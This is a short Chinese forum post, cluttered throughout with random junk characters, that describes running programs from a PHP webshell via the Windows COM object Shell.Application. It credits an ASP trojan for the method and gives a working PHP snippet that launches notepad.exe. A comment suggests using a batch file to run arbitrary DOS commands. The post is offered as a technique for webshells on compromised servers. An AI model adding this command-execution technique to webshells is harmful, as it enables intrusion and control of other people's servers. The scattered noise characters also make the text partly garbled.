关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。
( S ^- i/ |, }" H v4 R" k& H! ^. K/ ~; E) S: O
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法: r6 e9 l& {2 p+ w7 G( V) E* @
% p6 X- g; E5 i; c, Z' B5 p<?php4 G; H3 I7 G6 v/ `: p. T6 J
$wsh = new COM('Shell.Application') or die("Shell.Application");
: y" _: l% G+ F3 ?' J' `1 ]1 ^ $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
3 _+ E) M! R' V //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。9 z3 L( o" \1 f7 q& C* k
?>
6 _: {1 L( \' |$ T! ~
. u7 e. e+ E+ f1 u# B" {xp+APMServ5.2.0测试通过。4 D' M+ f8 h7 z$ V: p+ s# d+ G$ k n
|